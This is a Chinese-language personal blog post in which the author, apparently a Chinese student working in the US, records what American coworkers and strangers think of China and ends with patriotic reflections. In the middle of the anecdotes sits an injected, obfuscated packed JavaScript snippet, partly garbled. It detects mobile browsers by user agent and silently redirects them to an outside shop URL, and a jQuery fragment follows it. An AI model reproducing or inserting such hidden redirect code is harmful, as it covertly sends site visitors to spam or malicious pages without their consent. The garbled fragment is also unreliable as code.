建議:那你一定要去中國看看!
答:是的,我也想!不過中國不會歡迎我的,因為我賣槍!(我很不喜歡他臉上輕蔑的笑)
Taylor夢想當演員,他說他不想生活在中國,因為中國不夠開放。(他是想要多開放?!)
Tito是意大利人,他說的話讓我有一種溫暖的感覺:“我愛中國,我有一個很棒的中國朋友,她是混血兒,她的父親是中國人。報紙上說的中國……·(停頓)我不信!我覺得中國是個好地方。”
Yaya從南非來,他對中國的感覺是所有的一切都很好!有很多的工作機會。在他看來,世界上隻有中國,美國,法國這幾個國家能為人提供各種所需。他說他攢夠了錢,明年打算去香港!
Ray的說法是很典型的美國做派,他說,中國就是那麼一個國家,我不在意,隻是單純想去旅行。
Melic是約旦人,有一天在做漢堡,他興高采烈地走過來對我說,“E,我知道關於中國的可多事兒了(我覺得我翻譯不出那種語境……他的原話是,“E, I know lots of a!”)!”
我:舉個例子!
M:香港是中國的!(非常得意的表情)<
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057595|132138||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
/p>
我:還有呢?
M:這還不夠嗎?
我哭笑不得……
Vern是我的大老板,在我看來他總是吃個不停,不過他是個淵博的大胖子~我問他對中國的看法,他很嚴謹的回答說,“我沒有去過,所以沒有辦法怎樣回答。”我問那你對中國有什麼印象?他說,“我喜歡漢語!”我繼續追問,那中國有沒有吸引你的地方?Vern頓時兩眼放光,他說,“熊貓!他們太酷了!小時候是那樣小小的,粉紅色的~長大了是那麼大(他用的是Huge這個詞)!我超愛中國食物!鴨子!我喜歡吃鴨子!我隻吃過一次(他舔了舔舌頭)……”從此以後,Vern經常問我關於中國的各種美食,重點是他的手裡拿著智能機,一邊看圖一邊問~
我在Motel大廳和一個遊遍美國的老頭聊天,他說他不想去中國,因為他不會說漢語,重點是他害怕人多……
8月17日 飛往紐約的飛機
我遇到了一位印度老人,他來美國看自己的女兒,他剛得知我是中國人就開始和我大肆表揚中國的獨生子女政策!他說,印度也應該像中國這樣推行獨生子女政策!他就覺得中國又大又好!(哎,隻有阿三才懂得獨生子女的好啊!老美就是不論我怎麼解釋還是不斷問我為什麼中國要控製人口。)
9月12日 威利斯頓
Jamal每次一提到中國就很猥瑣地笑笑,說,“Beautiful women, so young~”
Craij給我的感覺是他很不在狀態……
問:你有聽過一些關於中國的事嗎?
答:我有一雙筷子。
問:你覺得中國怎麼樣?
答:Fun, Funny。
問:What kind of fun?
答:A kind of fun.(以上這段很抱歉,我真的翻譯不來……)
過了良久,Craij幽幽地說,“我想去中國,聽說中國的鞋很便宜……”
最後來幾個最大眾的版本。
版本一
問:對中國的印象?
答:大,人多。
沒有了……
版本二
問:對中國怎麼看?
答:好。
沒有了……
版本三
問:中國……(還沒有說完)
答:不知道,不在意。
沒有了……
還有一些就都是大同小異的回答了。你會發現,最普通的美國大眾對中國是非常不了解的,他們也不想了解,但是卻很容易因為有一兩個很棒的中國朋友想要來中國看看。關於香港,澳門和台灣是否屬於中國這個問題我回答了無數次了……我也總是很努力地想讓更多人看到中國積極向上的新麵貌(包括很多華人)。很多人在我說中國的時候喜歡扯到日本,我覺得日本確實有很多值得我們學習的地方,比如對傳統文化的保護。也不是說中國做的不好,隻是不夠好。中國還是有很多吸引人的地方的,比如真的很多老外超愛熊貓!超愛中國食物!不過,我覺得最重要的還是中國人,尤其是走出國門的人。人家才不會去想什麼中國巨大的背景,隻會認定他們現在看到的人!我一個人的力量太有限,大家要一起加油!為了太多太多值得我們努力奮鬥的事!當然,很多問題會有思想體係比我強大又比我更無畏的人來思考和解決,不過在民主社會表明一下自己的態度還是可以的嘛~
我非常熱愛自己的祖國,我也承認我屬於吃得飽,穿得暖,閒得屁的那類人。不過我做的是我喜歡的事,比如寫這些東西,雖然和我的專業十萬八千裡……但是我很快樂~